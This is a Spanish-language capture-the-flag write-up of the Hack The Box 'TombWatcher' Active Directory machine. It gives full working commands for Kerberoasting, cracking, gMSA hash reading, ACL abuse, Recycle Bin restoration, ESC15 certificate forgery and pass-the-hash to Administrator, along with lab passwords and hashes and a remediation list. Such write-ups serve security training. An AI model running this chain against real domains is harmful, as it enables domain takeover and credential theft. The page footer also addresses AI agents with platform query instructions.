> For the complete documentation index, see [llms.txt](https://oliver-3.gitbook.io/redteam-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oliver-3.gitbook.io/redteam-notes/hack-the-box/tombwatcher.md).

# TombWatcher

Máquina: TombWatcher · Medium · Windows · Active Directory

**Punto de partida:** credenciales `henry / H3nry_987TGV!`

**Final: `tombwatcher\administrator` por abuso encadenado de ACLs + AD CS ESC15**

***

### Etapa 1 — Reconocimiento

Arranqué con el escaneo completo:

```bash
nmap -p- --min-rate 5000 -A -T4 -v 10.129.1.213 -oA tombwatcher
```

El resultado dibujó un Domain Controller sin lugar a dudas: \
DNS (53), Kerberos (88), LDAP/LDAPS (389/636), Global Catalog (3268/3269), kpasswd (464), WinRM (5985), AD Web Services (9389). Cuando ves Kerberos y LDAP juntos, estás frente a un DC.

Dos detalles del scan que valían oro y que conviene siempre mirar más allá de la lista de puertos:

El primero, en el certificado SSL del LDAP: el `Issuer` decía `commonName=tombwatcher-CA-1`.&#x20;

Eso significa que **hay una Autoridad Certificadora en el dominio** — AD CS está corriendo. \
Lo anoté de entrada porque las máquinas AD con CA casi siempre terminan escalando por algún abuso de plantillas de certificados (la familia ESC1 a ESC15).&#x20;

El segundo: el `clock-skew` marcaba `+4h00m00s from scanner time`. El reloj del DC estaba cuatro horas adelantado respecto a mi Kali. Esto importa muchísimo en AD porque **Kerberos rechaza cualquier ticket si la diferencia de reloj supera los 5 minutos**. Lo dejé anotado sabiendo que iba a molestar — y molestó, varias veces.

> El puerto 5985 (WinRM) es el que da acceso remoto interactivo en esta máquina. Es el equivalente a SSH en el mundo Windows: con credenciales de un usuario que esté en el grupo `Remote Management Users`, se obtiene shell con `evil-winrm`. Llegar a ese usuario es lo que entrega la user flag.

Agregué el dominio y el DC al hosts, porque Kerberos depende de resolver nombres correctamente y autenticarse contra la IP pelada rompe los SPN:

```bash
echo "10.129.1.213 tombwatcher.htb DC01.tombwatcher.htb DC01" | sudo tee -a /etc/hosts
```

***

### Etapa 2 — El clock skew, y cómo dejarlo domado de una vez

Antes de seguir, lo del reloj. La primera vez que sincronicé con `ntpdate` y corrí una herramienta Kerberos, falló igual. El motivo: Kali tiene su propio servicio de sincronización horaria (`systemd-timesyncd`) que **revierte** la corrección que hace `ntpdate`. Sincronizás, y unos segundos después tu reloj vuelve a su hora real.

La solución fue doble. Primero, desactivar la sincronización automática para que no revierta nada:

```bash
sudo systemctl stop systemd-timesyncd
sudo timedatectl set-ntp false
sudo VBoxControl timesync --disable 2>/dev/null   # VirtualBox también sincroniza con el host
```

Y segundo, el patrón que usé durante toda la máquina: sincronizar y ejecutar **en la misma línea**, encadenado con `&&`, para que no haya ventana de tiempo donde el reloj se desfase:

```bash
sudo ntpdate -u tombwatcher.htb && <comando que use Kerberos>
```

Regla mental para el resto de la máquina: si una herramienta tira `KRB_AP_ERR_SKEW`, no es un bug ni un problema de credenciales — es el reloj. Re-sincronizar con `&&` y reintentar.

***

### Etapa 3 — Primer contacto con el dominio

Con `henry` validé las credenciales y empecé a enumerar:

```bash
nxc smb tombwatcher.htb -u henry -p 'H3nry_987TGV!'
nxc smb tombwatcher.htb -u henry -p 'H3nry_987TGV!' --users
nxc smb tombwatcher.htb -u henry -p 'H3nry_987TGV!' --shares
nxc smb tombwatcher.htb -u henry -p 'H3nry_987TGV!' --pass-pol
```

De `--users` saqué los objetivos reales descartando las cuentas built-in: `henry`, `alfred`, `sam`, `john`.&#x20;

De `--shares` solo aparecieron `IPC$`, `NETLOGON` y `SYSVOL`: lo estándar de un DC, nada custom. \
Eso ya me dijo algo importante — **no había un share jugoso con archivos, así que el camino no iba por SMB sino por abuso de permisos del directorio**. \
Las máquinas AD modernas casi siempre son así: el "exploit" es una cadena de ACLs.

Quise listar los grupos con `nxc smb ... --groups` y me tiró `[REMOVED] Arg moved to the ldap protocol`. En las versiones nuevas de netexec ese flag se movió del protocolo `smb` al `ldap`. Corregido:

```bash
nxc ldap tombwatcher.htb -u henry -p 'H3nry_987TGV!' --groups
```

De ahí, dos grupos llamaron la atención: `Remote Management Users` con un solo miembro (alguien tenía WinRM, y todavía no sabía quién) y un grupo llamado `Infrastructure` que aparecía sin descripción — claramente custom de la máquina. Anoté ambos.

***

### Etapa 4 — BloodHound: el mapa

En AD no se avanza a ciegas. BloodHound recolecta todos los objetos del dominio (usuarios, grupos, ACLs, sesiones) y los grafica como caminos de ataque: te muestra quién puede comprometer a quién y mediante qué permiso. Sin esto, estás adivinando.

Instalé la versión Community Edition con Docker:

```bash
sudo apt install -y docker.io docker-compose
sudo systemctl enable --now docker
mkdir -p ~/tools/bloodhound && cd ~/tools/bloodhound
curl -L https://ghst.ly/getbhce -o docker-compose.yml
sudo docker-compose up -d
sudo docker-compose logs | grep -i "Initial"   # imprime la password inicial random
```

Y recolecté los datos del dominio con el ingestor de Python:

```bash
bloodhound-ce-python -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb -ns <IP> -c All --zip
```

Acá apareció de nuevo el clock skew: el ingestor avisó `Failed to get Kerberos TGT ... Falling back to NTLM authentication`. Pero esta vez no fue fatal — `bloodhound-python` trabaja sobre LDAP y cae a NTLM sin drama. El zip se generó igual (`Found 9 users, 53 groups, ...`).&#x20;

Esto enseña algo: no todas las herramientas dependen de Kerberos por igual; las que sí (certipy, impacket con `-k`) son las que hay que cuidar del reloj.

Subí el zip en la GUI (`Administration → File Ingest`) y empecé el análisis.&#x20;

El método con BloodHound es siempre el mismo: buscar la cuenta que ya controlás, marcarla como **Owned** (click derecho), y mirar su pestaña **Outbound Object Control** — qué objetos puede tocar. A medida que vas comprometiendo cuentas, las vas marcando como Owned y el grafo se actualiza.

***

### Etapa 5 — henry a alfred: WriteSPN y Targeted Kerberoasting

Marqué henry como Owned y miré su Outbound Object Control. Un único edge salía de él: **`WriteSPN`**, apuntando a `alfred`.

> `WriteSPN` es el permiso que tiene henry sobre alfred. Vale entender bien qué es: permite escribir el atributo `servicePrincipalName` de una cuenta. Normalmente solo las cuentas de servicio tienen un SPN. Pero si podés escribirle uno a una cuenta de usuario común, esa cuenta se vuelve **kerberoasteable**.

El ataque que esto habilita se llama **Targeted Kerberoasting** y la lógica es elegante: una cuenta con SPN puede ser objeto de una petición de TGS (ticket de servicio). Ese ticket viene cifrado con el hash NTLM de la contraseña de la cuenta. Entonces: le escribo un SPN a alfred, pido el TGS, y me llevo un ticket que puedo crackear offline para sacar su contraseña. La herramienta `targetedKerberoast.py` hace las tres cosas de corrido — escribe el SPN, pide el ticket, y borra el SPN después para no dejar rastro.

```bash
git clone https://github.com/ShutdownRepo/targetedKerberoast
cd targetedKerberoast && pip install -r requirements.txt

sudo ntpdate -u tombwatcher.htb && python3 targetedKerberoast.py -v -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --request-user alfred --dc-host DC01.tombwatcher.htb
```

La primera vez sin el `&&` me tiró `KRB_AP_ERR_SKEW`. Con el comando encadenado funcionó: en el output se vio `SPN added successfully`, después `Printing hash for (Alfred)` con el hash `$krb5tgs$23$*Alfred$...`, y finalmente `SPN removed successfully` — la herramienta limpió el SPN sola.

Guardé el hash y lo crackeé con hashcat. El modo `13100` es específico para tickets Kerberos TGS-REP etype 23:

```bash
echo '$krb5tgs$23$*Alfred$...' > alfred.hash
hashcat -m 13100 alfred.hash /usr/share/wordlists/rockyou.txt
```

`Status: Cracked`, y la línea del hash terminaba en `:basketball`. Ya tenía la segunda cuenta: **`alfred / basketball`**. La validé con `nxc smb` y seguí.

***

### Etapa 6 — alfred al grupo INFRASTRUCTURE: AddSelf

Marqué alfred como Owned en BloodHound. Su Outbound Object Control mostró un edge **`AddSelf`** hacia el grupo `INFRASTRUCTURE` — ese grupo custom que había visto antes con cero miembros.

`AddSelf` es un permiso muy específico: alfred puede agregarse **a sí mismo** al grupo (solo a sí mismo, no a terceros). El grupo aparecía vacío justamente porque nadie había usado ese permiso todavía. La herramienta para abusar de ACLs desde Linux es `bloodyAD`:

```bash
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u alfred -p 'basketball' add groupMember INFRASTRUCTURE alfred
```

Respondió `[+] alfred added to INFRASTRUCTURE`. Lo verifiqué pidiendo los grupos de alfred puntualmente (ojo: `nxc ldap --groups` lista todos los grupos del dominio, no los de un usuario; para los de un usuario hay que usar el módulo `groupmembership`):

```bash
nxc ldap tombwatcher.htb -u alfred -p 'basketball' -M groupmembership -o USER=alfred
```

`Infrastructure` apareció en la lista. alfred ya estaba dentro.

***

### Etapa 7 — La gMSA: leer la contraseña de ansible\_dev$

Con alfred ya en `INFRASTRUCTURE`, busqué el grupo en BloodHound y miré **su** Outbound Object Control. Salía un edge **`ReadGMSAPassword`** hacia una cuenta llamada `ANSIBLE_DEV$`.

> La cuenta cuya gMSA password puede leer el grupo `INFRASTRUCTURE` es `ansible_dev$`.

Acá conviene entender qué es una **gMSA** (group Managed Service Account). Es una cuenta de servicio cuya contraseña la genera y la rota Active Directory automáticamente, cada 30 días. Nadie la conoce en texto claro — ni siquiera el administrador. Pero la contraseña vive en un atributo del objeto (`msDS-ManagedPassword`), y los principals que tengan el permiso `ReadGMSAPassword` pueden **leer ese atributo**, que incluye el hash NTLM de la cuenta. Con ese hash se hace Pass-the-Hash directamente, sin crackear nada.

Por eso el paso anterior importaba: meter a alfred en `INFRASTRUCTURE` le dio, de rebote, el derecho a leer la credencial de la gMSA. netexec tiene un flag que automatiza la lectura:

```bash
nxc ldap tombwatcher.htb -u alfred -p 'basketball' --gmsa
```

El output mostró: `Account: ansible_dev$ NTLM: cba56cd2df7d642f622e2a59956f6d47 PrincipalsAllowedToReadPassword: Infrastructure`

Ese hash NTLM es la credencial de la gMSA. Un detalle a tener presente: si volvés a leerla más tarde, el hash puede ser distinto, porque la gMSA rota su password sola. Hay que usar siempre la lectura más reciente. (En el writeup oficial el hash era otro, `838b2bd8...` — no es un error, es la rotación).

***

### Etapa 8 — ansible\_dev$ a sam: ForceChangePassword

Con el hash de `ansible_dev$`, volví a BloodHound a ver qué controlaba esa cuenta. Su Outbound Object Control tenía un edge **`ForceChangePassword`** hacia `sam`.

> `ForceChangePassword` es el permiso que tiene `ansible_dev$` sobre `sam`. La diferencia con un cambio de contraseña normal es clave: un cambio normal exige conocer la contraseña anterior; `ForceChangePassword` permite **setear una contraseña nueva sin saber la actual**. En la práctica es control total sobre la autenticación de la cuenta — le ponés la password que quieras y entrás como ella.

Usé `bloodyAD` autenticándome como la gMSA por Pass-the-Hash. Detalle de sintaxis que vale recordar: en bloodyAD el hash NTLM se pasa como `-p ':<hash>'`, con dos puntos al inicio (eso indica "LM vacío + NT hash", el formato PtH). Y el nombre `ansible_dev$` va entre comillas para que bash no interprete el `$`:

```bash
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u 'ansible_dev$' -p ':cba56cd2df7d642f622e2a59956f6d47' set password sam 'NewPass123!'
```

`[+] Password changed successfully!`. La validé con `nxc smb` — `sam / NewPass123!` activa.

***

### Etapa 9 — sam a john: WriteOwner, la cadena de tres pasos

Marqué sam como Owned. Su Outbound Object Control mostró un edge **`WriteOwner`** hacia `john`.

> `WriteOwner` es el permiso de sam sobre john. Acá hay un matiz interesante: `WriteOwner` por sí solo no te da control sobre la cuenta — te deja **cambiar el dueño (owner)** del objeto. Pero el owner de un objeto en AD puede reescribir su DACL libremente. Entonces la cadena de abuso tiene tres pasos: primero te hacés owner de john, después — ya como owner — te concedés `GenericAll` sobre john, y recién entonces, con `GenericAll`, le reseteás la contraseña.

Es el ejemplo perfecto de cómo en AD un permiso que parece limitado se escala a control total mediante pasos intermedios. `WriteOwner` sobre un usuario es, en la práctica, tan peligroso como `GenericAll`.

Los tres comandos con `bloodyAD`:

```bash
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'NewPass123!' set owner john sam
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'NewPass123!' add genericAll john sam
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'NewPass123!' set password john 'JohnPass123!'
```

Cada uno confirmó: el owner reemplazado, el `GenericAll` concedido, la password cambiada.

***

### Etapa 10 — Shell como john y la user flag

john era el miembro de `Remote Management Users` — el que faltaba identificar desde el principio. Eso significaba WinRM:

```bash
sudo ntpdate -u tombwatcher.htb && evil-winrm -i DC01.tombwatcher.htb -u john -p 'JohnPass123!'
```

Acá tropecé. Antes había probado conseguir shell con `sam` y la sesión se cerraba al primer comando con `WinRMAuthorizationError`. Dos cosas aprendidas de ese tropiezo:

Una, `nxc winrm` puede reportar `[-]` (sin acceso) mientras `evil-winrm` **sí** conecta — es un falso negativo conocido de netexec, no hay que fiarse de ese `[-]`.

Dos, cuando la shell de evil-winrm se cierra al primer comando, el sospechoso número uno es otra vez el clock skew: evil-winrm establece la conexión pero al ejecutar un comando hace una validación de tiempo que falla. Reconectar encadenando `ntpdate && evil-winrm` lo resuelve. Si aún así molesta, conviene resetear la password a uno sin caracteres especiales, porque el `!` a veces rompe el handshake.

Con john adentro, la **user flag** estaba en `C:\Users\john\Desktop\user.txt`.

***

### Etapa 11 — john y la OU ADCS: el GenericAll que parecía inútil

Ya con shell, fui a BloodHound a ver qué controlaba john. Su Outbound Object Control mostró algo distinto a todo lo anterior: un edge **`GenericAll`**, pero no hacia un usuario ni un grupo — hacia una **OU** (unidad organizativa) llamada `ADCS`.

> La OU sobre la que john tiene `GenericAll` es `ADCS` (`OU=ADCS,DC=tombwatcher,DC=htb`).

El detalle desconcertante: esa OU estaba **vacía**. Tener control total sobre un contenedor vacío parece no servir de nada. Pero acá entra el truco más ingenioso de la máquina, y conviene entenderlo bien porque es poco intuitivo.

Cuando restaurás un objeto borrado desde la **Papelera de Reciclaje de Active Directory**, AD no lo pone en cualquier lado: lo recrea en su `LastKnownParent` — el contenedor donde vivía antes de que lo borraran. Si existe un objeto borrado cuyo `LastKnownParent` es la OU `ADCS`, al restaurarlo va a reaparecer **dentro de esa OU**. Y como john tiene `GenericAll` sobre la OU, puede propagar un permiso heredable de FullControl hacia abajo, alcanzando a cualquier objeto que esté (o aparezca) adentro.

O sea: el `GenericAll` sobre una OU vacía no es inútil. Es el mecanismo que va a permitir controlar un objeto que todavía no existe — porque está en la papelera esperando ser restaurado.

***

### Etapa 12 — Enumerar AD CS: el template con el SID fantasma

Para encontrar ese objeto borrado, primero había que justificar por qué buscarlo. Enumeré los servicios de certificados con certipy:

```bash
sudo ntpdate -u tombwatcher.htb && certipy-ad find -target DC01.tombwatcher.htb -u john -p 'JohnPass123!'
```

> Detalle de instalación: `apt` me tiró un conflicto, `python3-certipy` chocaba con `certipy-ad`. Son herramientas distintas: `python3-certipy` es un paquete viejo sin relación con AD CS; `certipy-ad` es la herramienta de Oliver Lyak para abusar de certificados. Hay que desinstalar el primero (`apt remove --purge python3-certipy`) y usar `certipy-ad`.

En el output, una plantilla llamada `WebServer` mostró algo raro en sus *Enrollment Rights* (quién puede solicitar certificados con ella). Junto a `Domain Admins` y `Enterprise Admins` aparecía un tercer principal listado **solo por su SID** — `S-1-5-21-1392491010-1358638721-2126982587-1111`— en vez de por un nombre legible.

> La plantilla que otorga enrollment rights a un usuario referenciado por su SID en lugar de su nombre es `WebServer`.

Esto es una señal muy concreta y vale grabársela: **cuando AD muestra un SID sin resolver a nombre, casi siempre es porque la cuenta fue borrada.** El permiso (el ACE) quedó atado al SID, pero la cuenta ya no existe para traducir ese SID a un nombre. Y lo importante: las ACLs atadas a SIDs huérfanos **siguen activas**. Si la cuenta se restaura y recupera su SID, recupera también todos esos permisos.

Es decir, el SID `...-1111` me estaba diciendo: "existió una cuenta con derechos para emitir certificados de la plantilla `WebServer`; si la encontrás borrada y la restaurás, esos derechos vuelven a estar disponibles".

***

### Etapa 13 — La Papelera de Reciclaje: tres cert\_admin, uno solo sirve

Desde la shell de john, enumeré los objetos borrados del dominio:

```powershell
Get-ADObject -Filter 'isDeleted -eq $true -and Name -like "*cert_admin*"' -IncludeDeletedObjects -Properties *
```

Aparecieron **tres** versiones de un usuario llamado `cert_admin` en la papelera. Las tres con el mismo nombre, pero cada una con distinto `objectSid` y distinto `ObjectGUID`:

| objectSid (terminación) | ObjectGUID                           |
| ----------------------- | ------------------------------------ |
| ...-1109                | f80369c8-96a2-4a7f-a56c-9c15edd7d1e3 |
| ...-1110                | c1f1f0fe-df9c-494c-bf05-0679e181b358 |
| ...-1111                | 938182c3-bf0b-410a-9aaa-45c8e1a02ebf |

El SID que figuraba en la plantilla `WebServer` terminaba en `-1111`. Esa era la versión correcta.

> El GUID del usuario referenciado por su SID en el certificado `WebServer` es `938182c3-bf0b-410a-9aaa-45c8e1a02ebf`.

Por qué importa el GUID y no el nombre: las tres cuentas se llaman idéntico, `cert_admin`, así que por nombre son indistinguibles. El comando que restaura objetos (`Restore-ADObject`) necesita un identificador único, y ese es el **GUID**. Si restaurás la versión equivocada (`-1109` o `-1110`), restaurás una cuenta que no tiene los enrollment rights sobre `WebServer`, y el ataque que viene después no funciona. El GUID es lo que garantiza tomar exactamente la cuenta que tiene el permiso útil.

Confirmé además el `LastKnownParent` de la versión `-1111`:

```powershell
Get-ADObject -Filter 'objectSid -eq "S-1-5-21-1392491010-1358638721-2126982587-1111"' -IncludeDeletedObjects -Properties *
```

Mostró `LastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb`. Ahí cerró el círculo: ese objeto, al restaurarse, iba a caer en la OU `ADCS` — la misma sobre la que john tenía `GenericAll`.

***

### Etapa 14 — Restaurar cert\_admin y tomar su control

Restauré el objeto correcto desde la papelera:

```powershell
Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"
```

`cert_admin` volvió a la vida, dentro de la OU `ADCS`. Ahora había que tomar control de esa cuenta. Como john tenía `GenericAll` sobre la OU, podía escribir un ACE heredable de FullControl que se propagara a los objetos hijos de la OU — incluido el `cert_admin` recién restaurado. Eso se hace con `impacket-dacledit`:

```bash
impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'john' -target-dn 'OU=ADCS,DC=TOMBWATCHER,DC=HTB' 'TOMBWATCHER.HTB/john:JohnPass123!'
```

Con control total sobre `cert_admin`, le reseteé la contraseña:

```bash
bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u john -p 'JohnPass123!' set password cert_admin 'CertPass123!'
```

Y ahí cerró toda la lógica de las últimas etapas: el `GenericAll` sobre una OU vacía (etapa 11) + un objeto borrado con permisos en la papelera (etapa 13) se combinaron para entregar una cuenta, `cert_admin`, que tiene derechos sobre una plantilla de certificados. Ninguna de las dos piezas servía sola; juntas, sí.

***

### Etapa 15 — ESC15: de cert\_admin a Administrator

Con `cert_admin` bajo control, confirmé la vulnerabilidad de la plantilla:

```bash
sudo ntpdate -u tombwatcher.htb && certipy-ad find -dc-host DC01.tombwatcher.htb -u cert_admin@tombwatcher.htb -p 'CertPass123!' -vulnerable -stdout
```

La plantilla `WebServer` reportó: `ESC15 : Enrollee supplies subject and schema version is 1`.

> El exploit que la cuenta restaurada puede ejecutar contra el certificado `WebServer` es **ESC15**, registrado como **CVE-2024-49019** y apodado **"EKUwu"**.

Vale entender qué es ESC15, porque es el remate de la máquina. Afecta a plantillas de certificados con **Schema Version 1** donde el solicitante provee el subject (`Enrollee Supplies Subject`). La plantilla `WebServer` cumple las dos condiciones. El problema técnico: las plantillas Schema Version 1 **no aplican restricciones de Application Policy**. Eso permite que el atacante **inyecte una Application Policy arbitraria** en la solicitud del certificado.

¿Por qué eso es grave? La plantilla `WebServer` está pensada solo para *Server Authentication* — autenticar un servidor web, no a un usuario. Pero al inyectar una Application Policy de *Client Authentication* o de *Enrollment Agent*, el certificado emitido pasa a servir para autenticarse como un **usuario del dominio**. Una plantilla inofensiva en apariencia se convierte en una vía para impersonar cualquier cuenta — incluido el Administrator.

La explotación fueron tres pasos con `certipy-ad` (versión 5.x):

```bash
# 1. Pedir un cert como cert_admin desde WebServer, inyectando la application policy
#    de Enrollment Agent (OID 1.3.6.1.4.1.311.20.2.1)
certipy-ad req -ca tombwatcher-CA-1 -u cert_admin@tombwatcher.htb -p 'CertPass123!' -dc-ip <IP> -template WebServer -application-policies '1.3.6.1.4.1.311.20.2.1'

# 2. Usar ese cert como Enrollment Agent para pedir uno A NOMBRE del Administrator
certipy-ad req -u cert_admin@tombwatcher.htb -p 'CertPass123!' -dc-ip <IP> -ca tombwatcher-CA-1 -template User -on-behalf-of 'tombwatcher\administrator' -pfx cert_admin.pfx

# 3. Autenticarse con el cert del Administrator y obtener su hash NTLM
sudo ntpdate -u tombwatcher.htb && certipy-ad auth -dc-ip <IP> -pfx administrator.pfx
```

El paso 1 generó `cert_admin.pfx` (el warning `Certificate has no object SID` es normal en este flujo). El paso 2 devolvió `Got certificate with UPN 'administrator@tombwatcher.htb'` — un certificado válido para autenticarse como Administrator. El paso 3, la primera vez, falló con `KRB_AP_ERR_SKEW` (el reloj otra vez); con `ntpdate &&` adelante funcionó y devolvió:

`Got hash for 'administrator@tombwatcher.htb': aad3b435...:f61db423bebe3328d33af26741afe5fc`

***

### Etapa 16 — Administrator y la root flag

Con el hash NTLM del Administrator, Pass-the-Hash por WinRM (se usa solo la segunda mitad del hash; la primera, `aad3b435...`, es el LM vacío):

```bash
sudo ntpdate -u tombwatcher.htb && evil-winrm -i DC01.tombwatcher.htb -u administrator -H f61db423bebe3328d33af26741afe5fc
```

`whoami` devolvió `tombwatcher\administrator`. **Root flag** en `C:\Users\Administrator\Desktop\root.txt`. Dominio comprometido.

***

### La cadena, vista de una

```
henry  --WriteSPN-->  alfred       (targeted kerberoasting + crack)
alfred --AddSelf-->   INFRASTRUCTURE (grupo)
INFRA. --ReadGMSAPassword--> ansible_dev$  (hash NTLM de la gMSA)
ansible_dev$ --ForceChangePassword--> sam   (reset de password)
sam    --WriteOwner-->  john        (owner -> GenericAll -> reset; user flag por WinRM)
john   --GenericAll-->  OU ADCS     (permite controlar lo que se restaure ahí)
        + restaurar cert_admin del Recycle Bin (LastKnownParent = OU ADCS)
cert_admin --ESC15 sobre WebServer--> Administrator   (root flag)
```

Lo que conviene que quede grabado de esta máquina: **ningún paso fue un exploit aislado**. Cada permiso por separado parecía menor — escribir un atributo, agregarse a un grupo, leer una propiedad, cambiar un owner. El compromiso total salió de **encadenarlos**, y de un par de pasos que solo tienen sentido combinados (el `GenericAll` sobre una OU vacía no sirve de nada hasta que lo cruzás con un objeto borrado en la papelera). Pensar en cadenas, no en exploits sueltos, es el cambio de mentalidad que pide el pentesting de Active Directory.

***

### Chuleta de conceptos

| Concepto               | En una línea                                                                    |
| ---------------------- | ------------------------------------------------------------------------------- |
| Assumed breach         | Las máquinas AD de HTB arrancan con credenciales; el juego es escalar           |
| BloodHound             | Grafica los caminos de ataque por ACLs; sin esto vas a ciegas                   |
| Clock skew             | Diferencia de reloj > 5 min rompe Kerberos; `ntpdate` + `&&` lo doma            |
| WriteSPN               | Escribir un SPN en una cuenta la vuelve kerberoasteable                         |
| Targeted Kerberoasting | Forzar que una cuenta sea kerberoasteable para crackear su password             |
| AddSelf                | Un usuario puede agregarse a sí mismo (solo a sí mismo) a un grupo              |
| gMSA                   | Cuenta de servicio cuya password gestiona y rota AD automáticamente             |
| ReadGMSAPassword       | Permite leer el hash NTLM de una gMSA del atributo msDS-ManagedPassword         |
| ForceChangePassword    | Cambiar la password de una cuenta sin conocer la actual                         |
| WriteOwner             | Cambiar el owner de un objeto; el owner reescribe la DACL -> control total      |
| GenericAll sobre OU    | Combinado con el Recycle Bin, da control sobre objetos restaurados ahí          |
| AD Recycle Bin         | Objetos borrados son recuperables; sus ACEs por SID siguen activos              |
| LastKnownParent        | Contenedor original de un objeto borrado; ahí se recrea al restaurarlo          |
| ESC15 / CVE-2024-49019 | Template Schema v1 + Enrollee Supplies Subject: inyección de Application Policy |
| Pass-the-Hash          | Autenticarse con el hash NTLM, sin la password en claro                         |

### Chuleta de herramientas

| Herramienta                              | Para qué se usó                                             |
| ---------------------------------------- | ----------------------------------------------------------- |
| `nmap`                                   | Reconocimiento; detectar DC, CA y clock skew                |
| `netexec` (nxc)                          | Validar credenciales, enumerar, leer gMSA, Pass-the-Hash    |
| `bloodhound-ce-python` + `BloodHound CE` | Recolectar y graficar el dominio                            |
| `targetedKerberoast.py`                  | Targeted Kerberoasting                                      |
| `hashcat -m 13100`                       | Crackear el ticket TGS-REP                                  |
| `bloodyAD`                               | Abuso de ACLs: groupMember, owner, genericAll, set password |
| `impacket-dacledit`                      | Escribir ACEs heredables sobre la OU ADCS                   |
| `certipy-ad`                             | Enumerar AD CS y explotar ESC15                             |
| `evil-winrm`                             | Shell interactiva por WinRM                                 |

### Tropiezos y cómo se resolvieron

| Qué pasó                             | Por qué                                  | Cómo se salió                                                              |
| ------------------------------------ | ---------------------------------------- | -------------------------------------------------------------------------- |
| `KRB_AP_ERR_SKEW` repetido           | reloj de Kali 4h detrás del DC           | `sudo ntpdate -u tombwatcher.htb && <comando>` en una línea                |
| El reloj se revertía solo            | systemd-timesyncd / VBox re-sincronizan  | `timedatectl set-ntp false`, parar timesyncd, desactivar VBox timesync     |
| `nxc --groups` daba error            | el flag se movió a otro protocolo        | usar `nxc ldap` en vez de `nxc smb`                                        |
| `nxc winrm` daba `[-]`               | falso negativo de netexec                | confiar en evil-winrm, que sí conectaba                                    |
| evil-winrm se cerraba al 1er comando | clock skew                               | reconectar con `ntpdate && evil-winrm`; password sin caracteres especiales |
| Conflicto al instalar certipy        | `python3-certipy` choca con `certipy-ad` | desinstalar `python3-certipy`; usar `certipy-ad`                           |
| El hash de la gMSA cambió            | la gMSA rota su password sola            | re-leer con `nxc ldap --gmsa` y usar el valor actual                       |

### Si esto fuera un pentest real — remediación

* Auditar las ACLs del dominio con BloodHound de forma proactiva; quitar permisos como `WriteSPN`, `WriteOwner`, `GenericAll`, `AddSelf` y `ForceChangePassword` que no tengan una justificación operativa clara.
* Restringir al mínimo quién puede leer `msDS-ManagedPassword` de las gMSA.
* Revisar las plantillas de certificados: deshabilitar `Enrollee Supplies Subject` salvo necesidad real, migrar plantillas Schema Version 1 a versión 2 o superior, y aplicar el parche de CVE-2024-49019.
* Limpiar SIDs huérfanos en las ACLs; purgar del Recycle Bin los objetos que no se vayan a restaurar.
* Limitar la membresía de `Remote Management Users`.
* Política de contraseñas robusta: la de alfred (`basketball`) cayó con rockyou.txt en segundos.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://oliver-3.gitbook.io/redteam-notes/hack-the-box/tombwatcher.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
